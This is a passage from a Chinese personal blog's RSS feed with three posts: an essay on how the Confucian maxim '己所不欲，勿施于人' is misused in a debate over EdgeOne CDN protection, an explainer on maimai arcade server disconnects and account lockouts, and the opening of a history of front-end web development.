&lt;p&gt;我：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;答案是没必要。我不用国内云服务，我不在乎国内用户（国内用户体量小），我也没有在 L3/L4 层需要防御的东西&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;（随后，我将这段对话转述给了第三方）&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;路人：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;己所不欲，勿施于人，因为你的受众不在国内，所以它对你是没用的。而对有国内受众的人来说，它是有用的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;按最佳实践来说，Edgeone 也完全没必要。Blog 作为内容载体，有需要在 L3/L4 代理的吗？很明显，对于我这种静态页面，传统 CDN 完全可以应付非要套一堆有的没的，那不是在写 Blog，是拼赛博积木来的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1. 逻辑分析&lt;/h2&gt;
&lt;p&gt;这句话之所以能成为逃避一切的工具，是因为它在逻辑操作上具有极强的隐蔽性。使用者在说出这句话的瞬间，已经完成了三重逻辑偷换：&lt;/p&gt;
&lt;h3&gt;1.1. 偷换主语&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;原逻辑：&lt;strong&gt;我&lt;/strong&gt;所不欲，&lt;strong&gt;我&lt;/strong&gt;勿施于人（我讨厌被迟到，所以我绝不迟到）&lt;/li&gt;
&lt;li&gt;开脱逻辑：&lt;strong&gt;你&lt;/strong&gt;所不欲，&lt;strong&gt;你&lt;/strong&gt;勿施于我（你也不喜欢别人指出你的缺点吧？所以你别来指责我的缺点）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就瞬间把道德要求从自己身上剥离，变成了勒索对方的绞索&lt;/p&gt;
&lt;h3&gt;1.2 偷换客体&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原逻辑&lt;/strong&gt;中的「不欲」，指的是不道德/不公正的&lt;strong&gt;伤害行为&lt;/strong&gt;（如欺骗/背叛）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开脱逻辑&lt;/strong&gt;中的「不欲」，被扩大化为一切&lt;strong&gt;让人不爽的事物&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对方指出你的工作失误，这是客观事实。但你可以用谁都不喜欢被批评（主观情绪）来抵消这个事实。它用主观的爽不爽，掩盖了客观的对不对&lt;/p&gt;
&lt;h3&gt;1.3 诉诸虚伪&lt;/h3&gt;
&lt;p&gt;这句话的潜台词是：你自己也是人，你也有弱点，你也会痛，凭什么要求我？&lt;/p&gt;
&lt;p&gt;它利用了「没有人是完美的」这一事实，直接取消了对方表达批评/建议/要求的资格&lt;/p&gt;
&lt;h2&gt;2. 心理学分析&lt;/h2&gt;
&lt;p&gt;作为开脱工具，这句话在心理防御上堪称大师级，它能极大地保护使用者的自恋，免受外界信息的冲击&lt;/p&gt;
&lt;h3&gt;2.1 道德高地&lt;/h3&gt;
&lt;p&gt;当你拒绝别人的意见时，如果说「我不想听」或者「我就喜欢这样」，显得很自私、很无赖。&lt;br /&gt;
但当你抛出「己所不欲，勿施于人」时，你瞬间就&lt;em&gt;站在了圣人的肩膀上&lt;/em&gt;。你用一种极其高尚 充满古典道德光辉的句式，完成了最彻底的拒绝。&lt;br /&gt;
这种道德高地让批评者哑口无言&lt;/p&gt;
&lt;h3&gt;2.2 构建受害者叙事&lt;/h3&gt;
&lt;p&gt;这句话中的「施」字非常微妙。当你对别人说「勿施于人」时，你暗中构建了一个剧本：&lt;strong&gt;对方是强权者、施暴者，而你是被动承受的受害者&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;哪怕对方只是委婉地建议你少抽点烟，只要你用出这句话，对方立刻就变成了&lt;em&gt;把意志强加于人&lt;/em&gt;的畜生。这就巧妙地逃避了问题本身，把问题变成了对方的态度问题&lt;/p&gt;
&lt;h3&gt;2.3 认知闭合&lt;/h3&gt;
&lt;p&gt;人面对挑战自己既有观念的事物时，会产生认知失调。这句话就是一个完美的STOP。它不需要你进行任何理性的反驳，不需要你摆事实讲道理，只需要抛出这八个字，就物理隔绝了所有需要消耗脑力去反思的信息&lt;/p&gt;
&lt;h2&gt;3. 话语权&lt;/h2&gt;
&lt;p&gt;在人际交往和辩论中，这句话是一个黑洞，任何有意义的表达都会被它吸进去并粉碎&lt;/p&gt;
&lt;h3&gt;3.1 取消评价体系&lt;/h3&gt;
&lt;p&gt;如果每个人都只能对别人说别人&lt;strong&gt;欲&lt;/strong&gt;（喜欢）听的话，那么世界上就不存在批评、纠正、警告。&lt;br /&gt;
法官不能判刑，医生不能下病危通知书，父母不能管教孩子。这句话作为开脱工具的终极表现，就是&lt;strong&gt;消解了一切是非对错的标准，只剩下情绪价值&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2 消灭多样性与异见&lt;/h3&gt;
&lt;p&gt;为什么我说「你可以用这句话逃避任何别人表达的事物」？因为别人的表达，只要不符合你的心意，你就可以认为对方在「施」&lt;/p&gt;
&lt;p&gt;比如别人向你分享一本书，一种不同的生活方式，你不想了解，你就可以说「己所不欲勿施于人，别给我洗脑」&lt;br /&gt;
它实际上变成了&lt;strong&gt;拒绝接受任何新事物、新观念的挡箭牌&lt;/strong&gt;，让一个人彻底困在自己的信息茧房里&lt;/p&gt;
&lt;h3&gt;3.3 绝对相对主义&lt;/h3&gt;
&lt;p&gt;它把人与人之间的互动，切割成了互不相干的孤岛。潜台词是：「你的事我不管，我的事你也别管」&lt;br /&gt;
这就逃避了人作为社会动物必须承担的互相协作、互相监督的责任&lt;/p&gt;
&lt;h2&gt;4. 案例分析&lt;/h2&gt;
&lt;p&gt;接下来我们回到开头的实际案例，看看这句名言是如何被用来强行中止理性讨论并完成主客观偷换的&lt;/p&gt;
&lt;h3&gt;4.1 核心偷换&lt;/h3&gt;
&lt;p&gt;这个案例中最致命的逻辑谬误，就是主客观偷换&lt;/p&gt;
&lt;p&gt;我评估不用 Edgeone 的核心论点包含了客观的技术判断：
一个存放静态页面的 Blog，传统的 CDN（如 Cloudflare Pages）在最佳实践上已经完全足够。Edgeone 提供的 L3/L4 防护功能，对于一个内容载体来说是&lt;strong&gt;架构上的过度设计&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这是一个基于&lt;strong&gt;技术最佳实践、成本收益比、系统架构合理性&lt;/strong&gt;的客观探讨&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而路人直接无视了我关于&lt;em&gt;L3/L4 防护&lt;/em&gt;、&lt;em&gt;静态页面&lt;/em&gt;的技术讨论，把你的决定&lt;strong&gt;唯一归结&lt;/strong&gt;为：&lt;strong&gt;因为你不在乎国内受众（你的主观处境），所以你不喜欢/不需要（你的主观情绪）&lt;/strong&gt;&lt;br /&gt;
他抛出「己所不欲勿施于人」，潜台词是：「这仅仅是因为你个人用不上罢了，对别人还是有用的，你不要把你的主观喜好当成客观真理去否定它」&lt;/p&gt;
&lt;p&gt;为什么说主客观偷换？他利用这句话，把我关于「技术最佳实践」的&lt;strong&gt;客观评判&lt;/strong&gt;，瓦解成了「反正你用不上所以你才说它不好」的&lt;strong&gt;主观偏见&lt;/strong&gt;。这就彻底抹杀了讨论技术合理性的空间&lt;/p&gt;
&lt;h3&gt;4.2 虚空锁敌&lt;/h3&gt;
&lt;p&gt;其次就是这句话的防御机制启动得非常虚空锁敌，这也体现了为什么这句话是怎么被无脑滥用的&lt;/p&gt;
&lt;p&gt;我们回顾下起因，这是 A 主动问你「为什么不用 Edgeone Page」&lt;br /&gt;
我是在&lt;strong&gt;回答问题&lt;/strong&gt;，陈述&lt;strong&gt;自己&lt;/strong&gt;的技术选型理由&lt;br /&gt;
我仅仅是在表达「&lt;strong&gt;我&lt;/strong&gt;为什么不用」，根本没有说「&lt;strong&gt;你们&lt;/strong&gt;都不准用」或者「用 Edgeone 的都是低能」。我没有向任何人&lt;strong&gt;施&lt;/strong&gt;加任何东西&lt;br /&gt;
但路人抛出「己所不欲勿施于人」，立刻就给我扣了个大帽子：你在用自己的标准绑架别人&lt;/p&gt;
&lt;p&gt;你看，这句话的开脱威力就在这里：&lt;strong&gt;只要你表达了一个带有否定性质的观点（我不喜欢/我不用），对方就可以用这句话把你打成一个 试图把个人意志强加给别人 的独裁者&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.3 万能和稀泥&lt;/h3&gt;
&lt;p&gt;我们常说技术讨论要有极客精神，而「&lt;em&gt;己所不欲勿施于人&lt;/em&gt;」在很多时候是极客精神的死敌&lt;/p&gt;
&lt;p&gt;按照他的的逻辑：对你没用，对有国内受众的人有用&lt;br /&gt;
这句话听起来无比正确、无比包容，但实际上是一句&lt;strong&gt;毫无营养的废话&lt;/strong&gt;。如果顺着这个逻辑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A 问：为什么不用拖拉机去上班？&lt;/li&gt;
&lt;li&gt;你答：因为没必要，速度太慢，我开车去&lt;/li&gt;
&lt;li&gt;路人：己所不欲勿施于人，你不需要下地干农活，但对农民是有用的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;完全忽略了&lt;strong&gt;具体场景下的合适度&lt;/strong&gt;，脱离了&lt;strong&gt;现实场景&lt;/strong&gt;&lt;br /&gt;
即使有人需要国内受众，&lt;strong&gt;对于一个写 Blog 的静态页面，Edgeone 的 L3/L4 防护依然是没必要的，依然是大炮轰蚊子，甚至蚊子在哪都不知道&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个案例中，路人营造了一种&lt;strong&gt;万物皆有理，存在即合理&lt;/strong&gt;的假象，和了一手好稀泥，把原本可以深入探讨的「CDN与高防节点的合理使用场景」，变成了一碗毫无意义的互相尊重主观差异的鸡汤&lt;/p&gt;
&lt;h2&gt;5. 正本清源&lt;/h2&gt;
&lt;p&gt;现在我们就要讨论一下「己所不欲，勿施于人」这句话的原本意思了。&lt;/p&gt;
&lt;p&gt;:::tip[原义]
「己所不欲，勿施于人」出自《论语》（在《颜渊》和《卫灵公》两篇中都有出现），它是孔子儒家思想中最核心的概念之一——&lt;strong&gt;「恕」道&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;如果我们剥离掉后人强加给它的防御属性，还原到两千五百多年前孔子说出这句话的语境中，它的原义其实极其高尚，甚至是对人性要求极高的一种&lt;strong&gt;自我修行&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.1. 推己及人&lt;/h3&gt;
&lt;p&gt;在《论语·卫灵公》中，子贡问孔子：「有没有一个字，可以让我终身奉行？」&lt;br /&gt;
孔子回答：「那就是&lt;strong&gt;恕&lt;/strong&gt;吧！己所不欲，勿施于人」&lt;/p&gt;
&lt;p&gt;这里的&lt;strong&gt;恕&lt;/strong&gt;，在古汉语中是「如心」的意思，也就是「将心比心」&lt;br /&gt;
孔子的原义是：&lt;strong&gt;你要把自己的感受，当作理解他人感受的尺子。&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;因为人类的情感是相通的，你感到痛苦、屈辱、厌恶的事情，别人大概率也会感到痛苦、屈辱、厌恶。因此，在你对别人做出某个行为之前，先在心里演练一遍：如果别人对我这样做，我受得了吗？如果受不了，那就立刻停止你的行为&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这其实是人类文明史上最早最精炼的&lt;strong&gt;同理心&lt;/strong&gt;教育&lt;/p&gt;
&lt;h3&gt;5.2. 向内求&lt;/h3&gt;
&lt;p&gt;正如我们前面探讨的，这句话被当作开脱工具时，主语被偷换成了「别人」。但在孔子的原义里，&lt;strong&gt;这句话的主谓宾构成了自我约束机制&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;己&lt;/strong&gt;所不欲：&lt;strong&gt;我&lt;/strong&gt;首先要觉察自己的内心，知道什么是恶的、痛的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;勿&lt;/strong&gt;施于人：这是一种&lt;strong&gt;绝对的自我命令&lt;/strong&gt;。重点在&lt;strong&gt;勿&lt;/strong&gt;字，意思是&lt;strong&gt;我绝对不能去干这件事&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;孔子是把这句话作为&lt;strong&gt;君子&lt;/strong&gt;的标准提出来的。君子是要求自己的，小人才去要求别人。所以，这句话在原义上，&lt;strong&gt;绝不是一把刺向别人的长矛&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.3 银律&lt;/h3&gt;
&lt;p&gt;在世界伦理学史上，「己所不欲，勿施于人」被称为道德的&lt;strong&gt;银律&lt;/strong&gt;&lt;br /&gt;
与之相对的，是基督教中《马太福音》的&lt;strong&gt;金律&lt;/strong&gt;：「你们愿意人怎样待你们，你们也要怎样待人」（己所欲，施于人）&lt;/p&gt;
&lt;p&gt;对比之下，你会发现孔子的原义中蕴含着极深的&lt;strong&gt;边界感和克制&lt;/strong&gt;：&lt;br /&gt;
孔子没有鼓励我们「己所欲，施于人」（因为你喜欢的东西，别人未必喜欢，强加给别人也是一种灾难，比如逼婚）&lt;br /&gt;
孔子只划定了&lt;strong&gt;一条消极的道德底线&lt;/strong&gt;：『不欲」的东西，绝对不给别人&lt;br /&gt;
它承认了人与人之间的差异，强调&lt;strong&gt;不伤害&lt;/strong&gt;是人际交往的第一原则&lt;/p&gt;
&lt;h3&gt;5.4 忠道结合&lt;/h3&gt;
&lt;p&gt;只看「己所不欲勿施于人」，会觉得儒家好像很被动很消极。但其实这句话在孔子的体系里只占了一半&lt;/p&gt;
&lt;p&gt;孔子的核心思想是&lt;strong&gt;忠恕之道&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;消极底线是&lt;strong&gt;恕&lt;/strong&gt;：己所不欲，勿施于人（我不想要的，我不塞给你）&lt;/li&gt;
&lt;li&gt;积极追求是&lt;strong&gt;忠&lt;/strong&gt;：&lt;strong&gt;己欲立而立人，己欲达而达人&lt;/strong&gt;（我想要站得住脚、想要通达成功，我也去帮助别人站得住脚、通达成功）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;把这两句放在一起，才是它完整的原义：&lt;strong&gt;不把痛苦转嫁给别人，同时把成长的力量分享给别人&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;看完原义，我们就能更强烈地感受到，我所说的开脱现象是多么讽刺：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;孔子的原义，是为了打破人的自我中心，让人看到&lt;strong&gt;他人的痛苦&lt;/strong&gt;，从而&lt;strong&gt;限制自己的行为&lt;/strong&gt;（这是一种无私）&lt;/li&gt;
&lt;li&gt;被异化后，是为了加固人的自我中心，让人只看重&lt;strong&gt;自己的感受&lt;/strong&gt;，从而&lt;strong&gt;拒绝外界的指正&lt;/strong&gt;（这变成了一种&lt;strong&gt;极度的自私&lt;/strong&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这八个字本身是极其伟大和深刻的。但语言的悲哀就在于此：&lt;strong&gt;当最高尚的道德箴言，落入趋利避害、逃避责任的人性弱点中时，它不仅会失去原本的光芒，反而会变成保护自私的最强装甲&lt;/strong&gt;，那么接下来，我们不妨设想下，如果每个人都以这种态度互相攻击，社会会变成什么样子&lt;/p&gt;
&lt;h2&gt;6. 推演&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A： 为什么不用 Edgeone Page？&lt;/li&gt;
&lt;li&gt;我：答案是没必要，我不在乎国内用户，而且纯静态博客没必要在 L3/L4 防护上浪费时间，套一堆有的没的那是拼赛博积木&lt;/li&gt;
&lt;li&gt;路人：己所不欲，勿施于人。你的受众不在国内，你不需要，对你是没用的，但对有国内受众的人是有用的&lt;/li&gt;
&lt;li&gt;我：己所不欲，勿施于人。我极其厌恶这种过度设计，你凭什么要求我承认它对别人有用？&lt;/li&gt;
&lt;li&gt;A：己所不欲，勿施于人。我只是好心提个建议问一句。如果你向别人提问，你也不想被当成低能吧？&lt;/li&gt;
&lt;li&gt;路人：己所不欲，勿施于人。各位肯定不喜欢这种充满攻击性和戾气的沟通环境。&lt;/li&gt;
&lt;li&gt;我：己所不欲，勿施于人。我讨厌的就是讨论技术问题时被别人道德绑架，不看客观事实只谈主观情绪&lt;/li&gt;
&lt;li&gt;管理：别吵。己所不欲，勿施于人。我不想看你们在这儿嗷嗷叫。既然我不想看，那就勿施于我（全体禁言）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;推演完我们可以总结出，如果一个环境普遍盛行这种道德绑架式的逻辑，会产生三个极其可怕的后果：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;何谈事实？
我原本在讨论 L3/L4 代理对于静态页面的冗余性。这是一个可以被量化，被验证的技术命题
但当这句话进场后，&lt;strong&gt;再也没有人关心技术了&lt;/strong&gt;&lt;br /&gt;
Edgeone 好不好用，CDN 怎么配置不再重要，所有人的焦点都变成了：你的态度让我不爽，你没照顾我的情绪，你在否定我的价值。&lt;strong&gt;客观世界被主观情绪彻底淹没&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一起套受害者叙事
每个人都在强调自己的不欲：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;路人：我不欲看到绝对的评判&lt;/li&gt;
&lt;li&gt;我：我不欲看到垃圾的架构&lt;/li&gt;
&lt;li&gt;A：我不欲被当成小白嘲讽
因为每个人的&lt;em&gt;不欲&lt;/em&gt;不同，所以每个人都觉得自己是受害者，都在指责对方是施加者。这就形成了一个死循环：&lt;strong&gt;只要我不开心，就是你在对我施&lt;/strong&gt;&lt;br /&gt;
沟通变成了比惨和比拼谁的道德更高尚&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;语言通胀
当任何一句话都可以被解读为强加于人时，人类就失去了交流的可能
你指出一个错误，是施于人；你分享一个经验，是施于人；甚至你为了自保而反驳，也是施于人。最终的结局就是&lt;strong&gt;社会陷入绝对的虚无主义&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;7. 如何应对&lt;/h2&gt;
&lt;p&gt;我认为人的感性占比是比理性大的，面对这种按闹分配的逻辑，我们应该做到足够理性，&lt;strong&gt;不被对方用情绪与道德泥潭绑架，而是拉回到客观事实与逻辑上的较量&lt;/strong&gt;。我们刚才的案例中其实我已经演示了这种做法&lt;/p&gt;
&lt;p&gt;当对方用「你喜不喜欢/你需不需要」来掩盖「事物本身对不对/好不好」时，你要做的就是立刻切割&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;欲&lt;/strong&gt;（欲望/喜好）是主观的，但我们现在讨论的是客观规律/技术规范/事实&lt;/p&gt;
&lt;p&gt;:::tip[eg]
我不用 Edgeone，不是因为我dislike，而是从技术架构（客观）来看，纯静态博客套 L3/L4 防护就是脱裤子放屁（过度设计）。这和受众在哪里无关，这是技术常识
:::&lt;/p&gt;
&lt;p&gt;我们遇到这种万能开脱工具，人很容易因为对方占据了道德高地而产生短暂的语塞或自我怀疑，不用害怕，当他抛出「己所不欲勿施于人」，&lt;strong&gt;本质上是在对你叫停&lt;/strong&gt;&lt;br /&gt;
他发现自己在客观逻辑的战场上打不过你了（他根本不懂技术/客观事实），所以他试图在道德上遏制你来杀死比赛&lt;/p&gt;
&lt;h2&gt;8. 结&lt;/h2&gt;
&lt;p&gt;经过这一番解构，我们终于看清了这句千古名言在现代语境下是如何被异化为&lt;strong&gt;帽子工厂&lt;/strong&gt;和&lt;strong&gt;万能盾牌&lt;/strong&gt;的&lt;/p&gt;
&lt;p&gt;真正的「己所不欲，勿施于人」，是孔子交给君子的一面镜子，用来照向自己，以此克制私欲，修身养性&lt;br /&gt;
而被滥用的「己所不欲，勿施于人」，是懦夫的一把消音器，用来指向别人，以此逃避现实，拒绝真相&lt;/p&gt;
&lt;p&gt;当客观的技术讨论、严谨的逻辑辨析，统统都要给廉价的所谓「主观感受」让路时，我们失去的不仅仅是一个更优的方案，而是整个社会纠错与进化的能力&lt;/p&gt;
&lt;p&gt;所以，下次当你再听到有人试图用这句话来终结事实讨论时，请不要怀疑自己，更不要退缩。识破对方的道德陷阱，用逻辑驳回他&lt;/p&gt;
&lt;p&gt;因为在这个充斥着情绪泡沫的世界里，捍卫客观逻辑，才是对他人的智商和时间最大的尊重，**这，或许才是我们作为计算机行业从事者眼中真正的「己所不欲，勿施于人」&lt;/p&gt;
</content:encoded><category>随笔</category><category>个人思考</category><author>Chongxi</author></item><item><title>为什么舞萌机台老断网？一文解决近期舞萌服务器问题的所有疑惑</title><link>https://xice.cx/posts/whyMaiDown/</link><guid isPermaLink="true">https://xice.cx/posts/whyMaiDown/</guid><description>自1.53舞萌国服停服维护后，华立官方声称进行了稳定性升级，为什么升级后机台仍断网？本文将解决你的所有疑惑</description><pubDate>Fri, 20 Feb 2026 02:16:17 GMT</pubDate><content:encoded>&lt;p&gt;有时候，你mai的事情真的能给我看力竭&lt;/p&gt;
&lt;h2&gt;1. 为什么现在机台还是偶尔断网&lt;/h2&gt;
&lt;p&gt;直入主题，各位可能遇到过这种情况，机台莫名其妙断网，成绩也没存上，打开舞萌状态查询网站一看服务器还活着。为什么呢？&lt;strong&gt;其实就是机台吞cookie了&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;2. 什么是吞cookie？&lt;/h2&gt;
&lt;p&gt;简单来说，停服维护后，服务器新增了一个cookie(也称作饼干)作为账号验证的辅助手段。上机的时候服务器会给机台一个cookie，下机的时候要带着这个cookie一起才能成功登出。&lt;strong&gt;但是&lt;/strong&gt;，有些时候因为服务器的某种原因(bug?)导致&lt;strong&gt;没有成功下发cookie&lt;/strong&gt;，但是这时候&lt;strong&gt;账号已经登入了&lt;/strong&gt;，这就是&lt;strong&gt;吞cookie&lt;/strong&gt;，由于没有cookie，自然也没办法登出账号，所以你就小黑屋了。&lt;/p&gt;
&lt;p&gt;:::tip[如果你还是听不懂]
我们把cookie当作地铁车票，你一般进站要车票对吧，出站也要同样的票才能出去。&lt;/p&gt;
&lt;p&gt;吞cookie的情况就是，进站的时候没票过了闸机，出站的时候没票出不去，你的舞萌账号被困地铁站了(进小黑屋了)
:::&lt;/p&gt;
&lt;p&gt;如果是因为吞cookie导致的断网，直接要求机厅相关人员重启机子最简单有效，你也可以在允许的情况下扣滴蜡熊后面的开关重启&lt;/p&gt;
&lt;p&gt;这个其实算bug，按理该日本人修&lt;/p&gt;
&lt;h2&gt;3. 为什么「稳定性更新」后仍不稳定&lt;/h2&gt;
&lt;p&gt;原因是多方面的，&lt;strong&gt;事实上&lt;/strong&gt;，在经过&lt;a href=&quot;https://xice.cx/posts/153/&quot;&gt;停服维护&lt;/a&gt;后，国服的账号校验机制&lt;strong&gt;比国际服安全多了&lt;/strong&gt;。本质上1.53是&lt;strong&gt;针对账号&lt;/strong&gt;进行的升级优化。&lt;/p&gt;
&lt;p&gt;吞cookie原因在哪我们无从得知，毕竟舞萌架构是运行了许多年的老屎山，日本人能给你改成这样其实还行了。本来就是插着一堆管子的肺癌晚期老头，你非要给人家动手术，人家死手术台上咋办&lt;/p&gt;
&lt;h2&gt;4. 关于华立购买服务器防护措施&lt;/h2&gt;
&lt;p&gt;事实。华立确实买了腾讯云的Edgeone服务来防护恶意流量攻击，你偶尔打开公众号的时候可能会弹出来个&lt;em&gt;edgeone&lt;/em&gt;的字样不让你访问，这种情况其实就是你被误认为恶意程序了&lt;/p&gt;
&lt;p&gt;通俗来讲，华立雇了几个硬汉(意味深)来看着服务器大门，但是你被硬汉误认为是小偷，不让你进&lt;/p&gt;
&lt;p&gt;这种其实也没办法，并不能一刀切归咎于腾讯云或者华立，本身就是一个难以解决的技术性问题&lt;/p&gt;
&lt;h2&gt;5. 为什么最近公众号老是炸&lt;/h2&gt;
&lt;p&gt;这个确实原因不明，我的建议是等官方消息(但按华立作风应该是装死 猜的)&lt;/p&gt;
&lt;h2&gt;6. 什么是舞萌小黑屋&lt;/h2&gt;
&lt;p&gt;舞萌账号每一次登入都要严格对应一个登出，而正常游玩情况下只有过了结算之后才会一次性上传所有成绩并执行登出操作，如果没有成功登出，此时账号就会被占用无法正常游玩，机台会提示一个十五分钟的弹窗，&lt;strong&gt;故称为小黑屋&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;7. 关于舞萌解黑屋以及为什么现在解不了&lt;/h2&gt;
&lt;p&gt;我可以负责任的说，截至到目前，没有任何办法解开小黑屋，此前已有的解黑屋手段全部失效。&lt;br /&gt;
之前服务器登出账号，只需要知道你登入的时间即可，现在需要cookie等信息验证&lt;/p&gt;
&lt;p&gt;:::tip[打个比方]
原来解小黑屋，是在出站的时候挨个猜你进站的时间，猜对了就出去了&lt;/p&gt;
&lt;p&gt;现在地铁出站需要额外检票，但是你票他没给你发啊，这就困里面变小黑屋了
:::&lt;/p&gt;
&lt;h2&gt;8. 结&lt;/h2&gt;
&lt;p&gt;看完本文，您也大概对近期舞萌的各种问题有了大致的了解。作为玩家，不知道啥问题就断网了生气骂人很正常嘛，本文也是为了解决您的疑惑才写的，有疑问也可以在评论区再提。不过咱还是希望各位平时多关注下自己，毕竟只是个游戏，娱乐用的，不必把他的地位放在主要生活之上。&lt;/p&gt;
&lt;p&gt;当然，也祝各位新年快乐，工作顺利，学业有成，身体健康开开心心总归是第一位&lt;/p&gt;
&lt;h2&gt;9. 附&lt;/h2&gt;
&lt;p&gt;这里顺便也声明一下吧，本人(Chongxi)并没有与任何第三方组织合作过，同时咱也没有任何商业行为。无论是写blog还是做工具，我仅仅只是一位稍微懂点计算机技术想给社区为爱发电而已，大家总归都是热爱这个游戏的，没必要因为这些而吵架吧&lt;/p&gt;
&lt;p&gt;咱的舞萌服务器状态工具：&lt;a href=&quot;https://mai.chongxi.us&quot;&gt;华立服务器死了吗?&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>36年回顾：互联网前端发展史</title><link>https://xice.cx/posts/historyForFR/</link><guid isPermaLink="true">https://xice.cx/posts/historyForFR/</guid><description>本文将从1990年开始，带你了解这波澜壮阔的36年前端发展史</description><pubDate>Sun, 08 Feb 2026 02:11:17 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;学习计算机科学就是在学习计算机历史&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;h3&gt;0.1 Only screen is real&lt;/h3&gt;
&lt;p&gt;我们常把互联网比作冰山，在冰山之下，数以万计的交换机/服务器/数据库在轰隆作响&lt;/p&gt;
&lt;p&gt;而对于屏幕前的用户，某个拿着手机坐在地铁里的人，或者坐在办公桌前盯着显示器的白领而言，&lt;strong&gt;只有屏幕上的像素点是真实的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果那个&quot;commit&quot;按钮点下去没有反应；如果那个列表滑动起来一卡一卡；如果那个页面在加载时白屏&lt;br /&gt;
那么，无论后端的架构多么优雅，算法多么精准，对于用户来说，这就是一个 &lt;em&gt;垃圾软件&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;在很长一段时间里，前端被戏称为&lt;em&gt;切图仔&lt;/em&gt;&lt;br /&gt;
在软件开发的鄙视链中，前端曾经往往处于底端&lt;br /&gt;
后端工程师认为前端只是写写 HTML 标签、描描样式，不需要懂内存管理，不需要懂并发控制，甚至不需要懂&lt;em&gt;真正的编程语言&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;然而，这三十年的历史证明了这种偏见的荒谬。前端开发正在经历计算机科学史上最剧烈，最残酷的演变。我们从最初仅仅是为了展示一篇物理论文，演变到现在要在浏览器这个沙盒里运行 Photoshop、3D 游戏、甚至是 IDE&lt;/p&gt;
&lt;p&gt;本篇blog要讲的，不是 API 的流水账，而是这三十年来前端的「三国演义」&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;观前提醒：本文是以我的个人视角叙述，难免有误，还请各位谅解/多多指出错误。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;0.2 原罪&lt;/h3&gt;
&lt;p&gt;要理解前端这三十年为什么这么闹腾，为什么框架层出不穷，为什么工具链复杂到让人头秃，我们必须回到原点，去审视 Web 诞生的初衷&lt;/p&gt;
&lt;p&gt;WWW 在 1990 年诞生时，Tim Berners-Lee 爵士的设计目标非常纯粹：&lt;strong&gt;为了让科学家们方便地共享文档&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;请记住&lt;strong&gt;文档&lt;/strong&gt;这两个字。这是前端所有痛苦和复杂的根源，也是我认为的原罪&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTML&lt;/strong&gt; 是用来描述文档结构的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP&lt;/strong&gt; 是无状态的协议，以此请求文档，拿完就走，不保持连接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;浏览器&lt;/strong&gt; 只是一个文档阅读器&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;随着商业化的爆发，人类越来越想要更多。我们要的不再是一张静态的纸，我们要的是一个App&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我们要在这个文档阅读器里做Chat&lt;/li&gt;
&lt;li&gt;我们要在这里做交易所&lt;/li&gt;
&lt;li&gt;我们要在这里协同编辑 Excel&lt;/li&gt;
&lt;li&gt;我们要在这里看 HDR 视频&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;这就好比要求你在 Microsoft Word 里开发一个 Minecraft&lt;/strong&gt;&lt;/p&gt;
